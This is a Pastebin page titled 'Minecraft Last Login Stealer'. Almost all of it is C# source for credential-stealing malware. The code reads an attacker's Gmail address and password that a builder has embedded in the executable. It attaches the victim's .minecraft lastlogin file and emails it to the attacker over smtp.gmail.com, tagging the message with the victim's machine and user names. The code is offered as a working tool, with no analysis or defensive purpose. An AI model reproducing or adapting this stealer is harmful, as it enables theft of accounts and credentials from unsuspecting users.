Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Minecraft Last Login Stealer

By: a guest on Oct 5th, 2011  |  syntax: None  |  size: 1.34 KB  |  views: 680  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1.             FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
  2.             this.text1 = Strings.Space((int) FileSystem.LOF(1));
  3.             this.text2 = Strings.Space((int) FileSystem.LOF(1));
  4.             FileSystem.FileGet(1, ref this.text1, -1L, false);
  5.             FileSystem.FileGet(1, ref this.text2, -1L, false);
  6.             FileSystem.FileClose(new int[] { 1 });
  7.             this.options = Strings.Split(this.text1, "@stealer@", -1, CompareMethod.Binary);
  8.             this.TextBox2.Text = this.options[1];
  9.             this.TextBox3.Text = this.options[2];
  10.             MailMessage message = new MailMessage {
  11.                 Subject = "You got a new login from: " + Environment.MachineName + " : " + Environment.UserName
  12.             };
  13.             message.To.Add(this.TextBox2.Text);
  14.             Attachment item = new Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\.minecraft\lastlogin");
  15.             message.Attachments.Add(item);
  16.             message.From = new MailAddress(this.TextBox2.Text);
  17.             message.Body = "Here you go, a new minecraft login!";
  18.             new SmtpClient("smtp.gmail.com") { EnableSsl = true, Credentials = new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text), Port = Conversions.ToInteger("587") }.Send(message);
  19.